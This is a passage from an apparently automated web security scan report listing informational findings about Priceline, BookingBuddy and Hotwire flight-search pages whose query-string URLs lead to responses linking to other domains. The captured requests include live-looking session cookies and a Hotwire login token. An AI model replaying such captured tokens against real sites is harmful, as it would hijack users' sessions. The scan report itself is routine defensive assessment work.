<li><a href="http://www.agoda.com">Agoda.com</a>
...[SNIP]...
<li><a href="http://www.booking.com">Booking.com</a>
...[SNIP]...
<li class="last"><a title="MyTravelGuide.com" href="http://www.mytravelguide.com">Travel Guides</a>
...[SNIP]...
<li><a href="http://www.pricelinepartnernetwork.com/">hotel affiliate program</a>
...[SNIP]...
<li><a href="http://www.rentalcars.com/rental-car-affiliate-program/">rental car affiliate program</a>
...[SNIP]...
<div style="float: right; padding-top: 5px;">
       <a href="http://www.facebook.com/priceline.negotiator" target="_blank" title="Follow the Negotiator on Facebook">
           <img alt="" src="/sharedapps/content/graphics/fb_btm_nav.gif" border="0" />
...[SNIP]...
</a>
       &nbsp;
       <a href="http://twitter.com/TheNegotiator" target="_blank" title="Follow the Negotiator on Twitter">
           <img alt="" src="/sharedapps/content/graphics/tw_btm_nav.gif" border="0" />
...[SNIP]...

11.7. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:09 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=6f1410ac5564010a20111110220209fd5021609144; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=EA3BEF0849B1C104761E4D2A94E50FD3; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<NOSCRIPT>
   <A HREF="http://ad.doubleclick.net/N3102/jump/priceline.dart/air_fare_results;depcity=BOS;retcity=MIA;sz=728x90;ord=2611042038313751?">
   <IMG SRC="http://ad.doubleclick.net/N3102/ad/priceline.dart/air_fare_results;depcity=BOS;retcity=MIA;sz=728x90;ord=2611042038313751?" border="0" height="90" width="728" alt=""></A>
...[SNIP]...
<noscript>
   <A class="advert" HREF="http://ad.doubleclick.net/jump/priceline.dart/air_fare_results_box;depcity=BOS;retcity=MIA;sz=300x250;tile=2;ord=4.17453134791566?">
   <IMG SRC="http://ad.doubleclick.net/ad/priceline.dart/air_fare_results_box;depcity=BOS;retcity=MIA;sz=300x250;tile=2;ord=4.17453134791566?" border="0" height="250" width="300"></A>
...[SNIP]...
<NOSCRIPT>
   <A HREF="http://ad.doubleclick.net/N3102/jump/priceline.dart/air_fare_results_bottom;depcity=BOS;retcity=MIA;sz=728x90;ord=9906384975352659?">
   <IMG SRC="http://ad.doubleclick.net/N3102/ad/priceline.dart/air_fare_results_bottom;depcity=BOS;retcity=MIA;sz=728x90;ord=9906384975352659?" border="0" height="90" width="728" alt=""></A>
...[SNIP]...
<div class="app">
       <a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=336381998&amp;mt=8" onclick="gf_CallExitTracker('/3v3nt/default/nav_bottom/click/iphoneapp');" target="_blank">
       <img width="98" height="34" border="0" src="/airlines/content/graphics/iphone-badge.gif" alt="available on the App Store"/>
...[SNIP]...
<li class="last"><a href="http://findgroupdeals.hotelplanner.com/Priceline.cfm?sc=PCLN_HomeTopNav">group travel</a>
...[SNIP]...
<li><a href="http://www.hotelroom.com/">Hotel Room</a>
...[SNIP]...
<li><a href="http://www.comparediscounthotels.com/">Discount Hotels</a>
...[SNIP]...
<li><a href="http://www.airfares.com/">Cheap Airfares</a>
...[SNIP]...
<li><a href="http://www.hotelsbycity.net">Cheap Hotels</a>
...[SNIP]...
<li><a href="http://www.agoda.com">Agoda.com</a>
...[SNIP]...
<li><a href="http://www.booking.com">Booking.com</a>
...[SNIP]...
<li class="last"><a title="MyTravelGuide.com" href="http://www.mytravelguide.com">Travel Guides</a>
...[SNIP]...
<li><a href="http://www.pricelinepartnernetwork.com/">hotel affiliate program</a>
...[SNIP]...
<li><a href="http://www.rentalcars.com/rental-car-affiliate-program/">rental car affiliate program</a>
...[SNIP]...
<div style="float: right; padding-top: 5px;">
       <a href="http://www.facebook.com/priceline.negotiator" target="_blank" title="Follow the Negotiator on Facebook">
           <img alt="" src="/sharedapps/content/graphics/fb_btm_nav.gif" border="0" />
...[SNIP]...
</a>
       &nbsp;
       <a href="http://twitter.com/TheNegotiator" target="_blank" title="Follow the Negotiator on Twitter">
           <img alt="" src="/sharedapps/content/graphics/tw_btm_nav.gif" border="0" />
...[SNIP]...

11.8. http://www.bookingbuddy.com/ad_wrapper.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /ad_wrapper.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /ad_wrapper.php?width=300&height=250&request=http%3A%2F%2Fad.doubleclick.net%2Fadj%2Fta.bb.com%2Fair%3Bawr%3Dnorth_america%3Baco%3Dunited_states%3Bast%3Dflorida%3Bact%3Dmiami%3Boct%3Dboston%3Baap%3Dmia%3Bost%3Dmassachusetts%3Bptag%3Dair_s%3Bowr%3Dnorth_america%3Boap%3Dbos%3Boco%3Dunited_states%3Bu%3D%7C%7C%7Cair%7Cnorth_america%7Cunited_states%7Cmassachusetts%7Cboston%7Cnorth_america%7Cunited_states%7Cflorida%7Cmiami%7C%3Bdcopt%3Dist%3Bsz%3D300x250%2C250x250%3Btile%3D1%3Bord%3D59258970%3B HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; criteo_data=12/02/201112/04/2011BOSMIA5031; bbSearches=%7B%22cs%22%3A%7B%22c1%22%3A%22BOS%22%2C%22c2%22%3A%22MIA%22%2C%22st%22%3A%22roundtrip%22%2C%22ntrv%22%3A%221%22%2C%22d1%22%3A1322805600000%2C%22d2%22%3A1322978400000%2C%22t1%22%3A%22anytime%22%2C%22t2%22%3A%22anytime%22%2C%22ns%22%3A%22%22%2C%22sc%22%3A%22economy_coach%22%7D%2C%22rs%22%3A%7B%22air%22%3A%5B%5D%2C%22hotel%22%3A%5B%5D%2C%22car%22%3A%5B%5D%2C%22vacation%22%3A%5B%5D%2C%22vacation_rental%22%3A%5B%5D%2C%22cruise%22%3A%5B%5D%2C%22holiday%22%3A%5B%5D%7D%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Date: Thu, 10 Nov 2011 21:55:17 GMT
Content-Length: 1940
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</title>
<script type="text/javascript" src="http://j.slimg.com/js/lib/jquery-1.4.2.min.js"></script>
...[SNIP]...

11.9. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.bookingbuddy.com/tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866; referrer=5031%3A%3A%3A%3A%3A%3A1320962015%3A%3A%3A%3A%3A%3Abbs_farecast_flights_HP_unchecked-box-a_001; ssource=%7B%22id%22%3A5031%2C%22unique_name%22%3A%22bbs_farecast_flights_HP_unchecked-box-a_001%22%2C%22type%22%3A%22traq%22%2C%22marketing_partner%22%3A%22bing_travel_farecast%22%7D; cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; vid=4ebc47df2402b8.69944490; pb_bb_ab_display_ad=ab27bdc55c84037164090e1899a80c45a%3A1%3A%7Bs%3A16%3A%22bb_ab_display_ad%22%3Bs%3A21%3A%22bb_display_ad_enabled%22%3B%7D; pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:54:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:54:20 GMT
Content-Length: 43479
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566845; expires=Thu, 17-Nov-2011 21:54:05 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; expires=Sat, 10-Dec-2011 21:54:20 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; expires=Sat, 10-Dec-2011 21:54:20 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; expires=Thu, 10-Nov-2011 22:54:20 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; expires=Sat, 10-Dec-2011 21:54:20 GMT; path=/; domain=.bookingbuddy.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content
...[SNIP]...
</title>

<link rel="shortcut icon" href="http://i.slimg.com/bookingbuddy/favicon.ico" type="image/x-icon" />

<script type="text/javascript">
...[SNIP]...
</script>
<link rel="stylesheet" href="http://c.slimg.com/css/site/bb_affiliate/bookingbuddy_com.css?nano=1&amp;v=20111109091307" media="screen, projection" type="text/css" /><script type="text/javascript" src="http://j.slimg.com/js/site/bookingbuddy.js?nano=1&amp;v=20111109091307"></script>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/ta.bb.com/air;awr=north_america;aco=united_states;ast=florida;act=miami;oct=boston;aap=mia;ost=massachusetts;ptag=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=242814250;">
       <img alt="" src="http://ad.doubleclick.net/ad/ta.bb.com/air;awr=north_america;aco=united_states;ast=florida;act=miami;oct=boston;aap=mia;ost=massachusetts;ptag=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=242814250;" />
   </a>
...[SNIP]...

11.10. http://www.bookingbuddy.com/tabsearches.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bookingbuddy.com
Path:   /tabsearches.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /tabsearches.php?search_mode=air&ctm=B1A1&source=bbs_farecast_flights_HP_unchecked-box-a_001&departure_city=BOS&departure_month=12+2011&departure_day=2&arrival_city=MIA&return_month=12+2011&return_day=4&search_type=roundtrip&num_travelers=1 HTTP/1.1
Host: www.bookingbuddy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uu=342f1075-803a-4f97-bbd8-8bcaf944f866

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Host,Accept-Encoding,User-Agent
P3P: policyref="http://www.bookingbuddy.com/w3c/p3p.xml", CP="CAO DSP COR CURa ADMo DEVo PSAo PSDo IVAo IVDo CONo OUR DELa OTRa IND COM NAV"
Content-Type: text/html
Expires: Thu, 10 Nov 2011 21:53:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Nov 2011 21:53:59 GMT
Content-Length: 43482
Connection: close
Set-Cookie: cstream=mcid%3A%3A13285%7C%7C%7Cttl%3A%3A1321566815; expires=Thu, 17-Nov-2011 21:53:35 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2441=d3072f1517d3a88ad1ce21568174ea7aa%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2441%22%3Bs%3A12%3A%22bbs_2441_old%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:58 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_1947_2nd_try=b3e74166b80fad88a242891d9bfddc3fa%3A1%3A%7Bs%3A22%3A%22bb_ab_bbs_1947_2nd_try%22%3Bs%3A27%3A%22bb_site_ad_service_recipe_b%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: BBP_Ads=%7B%22pop%22%3Anull%2C%22tab%22%3A%5B%22Expedia%22%2C%22Cheap+Air%22%2C%22Priceline%22%2C%22Kayak%22%2C%22CheapoAir%22%2C%22Travelocity%22%2C%22OneTravel.com%22%2C%22Orbitz%22%5D%7D; expires=Thu, 10-Nov-2011 22:53:59 GMT; path=/; domain=.bookingbuddy.com
Set-Cookie: pb_bb_ab_bbs_2495=61d24c0ae7a1a3f14ab434d21ed73c5da%3A1%3A%7Bs%3A14%3A%22bb_ab_bbs_2495%22%3Bs%3A10%3A%22bbs_2495_a%22%3B%7D; expires=Sat, 10-Dec-2011 21:53:59 GMT; path=/; domain=.bookingbuddy.com

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content
...[SNIP]...
</title>

<link rel="shortcut icon" href="http://i.slimg.com/bookingbuddy/favicon.ico" type="image/x-icon" />

<script type="text/javascript">
...[SNIP]...
</script>
<link rel="stylesheet" href="http://c.slimg.com/css/site/bb_affiliate/bookingbuddy_com.css?nano=1&amp;v=20111109091307" media="screen, projection" type="text/css" /><script type="text/javascript" src="http://j.slimg.com/js/site/bookingbuddy.js?nano=1&amp;v=20111109091307"></script>
...[SNIP]...
<noscript>
   <a href="http://ad.doubleclick.net/jump/ta.bb.com/air;awr=north_america;aco=united_states;ast=florida;act=miami;oct=boston;aap=mia;ost=massachusetts;ptag=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=1089593427;">
       <img alt="" src="http://ad.doubleclick.net/ad/ta.bb.com/air;awr=north_america;aco=united_states;ast=florida;act=miami;oct=boston;aap=mia;ost=massachusetts;ptag=air_s;owr=north_america;oap=bos;oco=united_states;u=|||air|north_america|united_states|massachusetts|boston|north_america|united_states|florida|miami|;dcopt=ist;sz=300x250,250x250;tile=1;ord=1089593427;" />
   </a>
...[SNIP]...

11.11. http://www.hotwire.com/air/results.jsp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hotwire.com
Path:   /air/results.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /air/results.jsp?actionType=999&isAjaxRequest=true&pageDef=tiles-def.air.results&rerender=A1&rerender=A2&rerender=A3&rerender=A4&rerender=A5&rerender=A8&rerender=B2&rerender=B3&rerender=B4&rerender=headline&rerender=toppageErrors&rerender=results&rerender=disclaimer&rerender=dhtml&rerender=backToOriginalLinkTop&rerender=backToOriginalLinkBottom HTTP/1.1
Host: www.hotwire.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://www.hotwire.com/air/results.jsp?searchTokenId=1&backButtonInputId=air-index
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=8ABAB9B20359272EF267EE99BC92C535; SaneID=8ABAB9B20359272EF267EE99BC92C53; hotwireLogin=V4XFi9mFuQsCCPy6V/qhrdIccYJFHrJxloNL+OGc4tZkfjnIHGhTi7ltrG1IPXfIeO+uyJQdNdBMLRhhG2FHTMgXg79d4ve0wj4co6fHPBw/6XrC+I2V0VAJjgDrxtP6UCZQAzRZKNmqg6s3BNNiMzoqSlE+9QLVq8LlP5r5sVC9LqYt6r1WejbBqGtX4/QeMydTsx5XDmME0qOPB8zW5aGoplccEyUVyAQw1zoB77fdKkw2wifeN3QXc3uxCTtpmp1Xbz0DxcS4cKS1iGZ7tDS9ulFNeBvx/qJTKhJwy7rJEih5XSyT1Fco8d5rZFOYJfrLMMzpj5kMJEILR9qBNRDl+42pRMtKzavwDRm7Zn4S+YVpyXk9PjDFsc8boH4pNL/i/1SO3SnXZq06Bmb1cMu94wvBIzddV6cWSVnTSkb6zEWjyhKcj/R/L14UAfRNxKLA1dwarM4dx9zfvTJdnTQ5OD8cXu1QsRQx6bhBdHgkaVvI7Yv0CzgZubBDGYZ2py/gVN6nUboAKdWWhnH1+SCb4zGbUyOIkF4m3Q5L+mHwtRpnviW5iB6TzG4qM3vCGJzuO/q61vTeJmSjVVzx75u8crr6cftWqHj6w1ad2e3Pf5CFEtJtPeidw2FziNaUnrZUO8Dg4khW7hU9cY7J7fKZ4GRKCUFiaqRBwocDhg2nL+BU3qdRuu3nLjE0iKGkecN3QDSwuy2hpe08Csu2fupUbvdFv0Cs+iPYTYOKXR36I9hNg4pdHfoj2E2Dil0d+iPYTYOKXR36I9hNg4pdHZkXMwFjN5//GfFEXccZLnRe4HTJo0i26foj2E2Dil0d+iPYTYOKXR0A/je7yzDiYxzOTLmW6hAr+iPYTYOKXR1PInMvNwnP4qWAQ5Fqf/sURmHo2YOoPtSM+3JgIIVvgfoj2E2Dil0dfPSXg9UVFkdonRAnD1CzZSScdfGLoqChRdyjkfXmqOcml0c5X6k8GJajsUKRNqS+Ouz/Wdyu4BqKlqjo3JeIwqrZeEv6z+6NkVbI7P1I/pc=; NSC_qspe-xxx-qfstjtu=ffffffffaf131c0b45525d5f4f58455e445a4a422d6d; hotwirePageModuleState=pgoodCode=A&searchTokenId=1; hwAnalytics_previousPageName=air.results

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Cache-control: no-store, no-cache, private, must-revalidate
Content-Type: text/html;charset=UTF-8
Date: Thu, 10 Nov 2011 21:55:39 GMT
Content-Length: 57252


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<html>
<head>
<meta http-equiv="Content-Language" content="en-us"/>
<meta
...[SNIP]...
<meta name="msvalidate.01" content="203AD25F94A7907256EDD455C4B5C8B3" />


<link rel="shortcut icon" href="http://ak-static.hotwirestatic.com/static/images/favicon2.ico?ver=207657"/>
<link rel="stylesheet" type="text/css" href="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.css?ver=223461"/>


<script>
...[SNIP]...
</script>


<script src="http://ak-static.hotwirestatic.com/static/deploy/master/hwCore.js?ver=219395"></script>
...[SNIP]...
<a href="http://www.hotwire.com/index.jsp" onclick="AnalyticsSupport.storeLinkId({moduleName:'NAV-LOGO',linkName:'HOTWIRE'});"><img src="http://ak-static.hotwirestatic.com/static/images/shell/hotwire-logo-3d.gif?ver=222960" width="165" height="33" border="0" alt="Hotwire.com Home"/></a>
...[SNIP]...
href="#" title="Help"
onclick="CompSupport.callJsObj('currencyHelpLayer', 'show', this); AnalyticsSupport.logOmnitureLinkEvent({moduleName:'curr-help', link: 'help1'}); return false;">
<img class='iconNormal' src='http://ak-static.hotwirestatic.com/static/images/global/icon-whats-this.gif?ver=193627' alt="Help"/>
</a>
...[SNIP]...
<h1>
<img src="http://ak-static.hotwirestatic.com/static/images/notify/imgDidNotGoThrough.gif?ver=206982"
alt="We couldn't process your request" width="540" height="23"/>

</h1>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/core/buttons/btn-find-a-flight.gif?ver=217676" alt="Find a flight"/></button>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/core/buttons/btn-find-a-hotel.gif?ver=217676" alt="Find a hotel"/></button>
...[SNIP]...
</span><img src="http://ak-static.hotwirestatic.com/static/images/core/buttons/btn-find-a-car.gif?ver=217676" alt="Find a car"/></button>
...[SNIP]...
<li><a href="http://www.advertising.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-FOOTER:loc:0:ADVERTISERS',
'external-link','http://www.advertising.expedia.com', AnalyticsSupport.pageId)">
Advertisers</a>
...[SNIP]...
</a> -
<a target="_blank" href="http://www.carrentals.com"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CARRENTALS',
'external-link','http://www.carrentals.com', AnalyticsSupport.pageId);">
CarRentals.com</a> -
<a target="_blank" href="http://www.travel-ticker.com/"
onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRAVEL-TICKER',
'external-link','http://www.travel-ticker.com', AnalyticsSupport.pageId);">
Travel-Ticker.com</a>
...[SNIP]...
</strong>
<a target="_blank" href="http://www.expedia.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EXPEDIA',
'external-link','http://www.expedia.com', AnalyticsSupport.pageId);">
Expedia</a> -
<a target="_blank" href="http://www.hotels.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:HOTELS',
'external-link','http://www.hotels.com', AnalyticsSupport.pageId);">
Hotels.com</a> -
<a target="_blank" href="http://www.classicvacations.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:CLASSIC',
'external-link','http://www.classicvacations.com', AnalyticsSupport.pageId);">
ClassicVacations.com</a> -
<a target="_blank" href="http://www.tripadvisor.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:TRIPADVISOR',
'external-link','http://www.tripadvisor.com', AnalyticsSupport.pageId);">
TripAdvisor.com</a> -
<a target="_blank" href="http://www.smartertravel.com" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:SMARTER-TVL',
'external-link','http://www.smartertravel.com', AnalyticsSupport.pageId);">
Smarter Travel</a> -
<a target="_blank" href="http://www.egencia.com/" onclick="cmPageviewOnClick(AnalyticsSupport.pageId + ':NAV-PARTNERS:loc:0:EGENCIA',
'external-link','http://www.egencia.com/', AnalyticsSupport.pageId);">
Egencia</a>
...[SNIP]...
<strong><a target="_blank" href="http://iac.com/index.html"
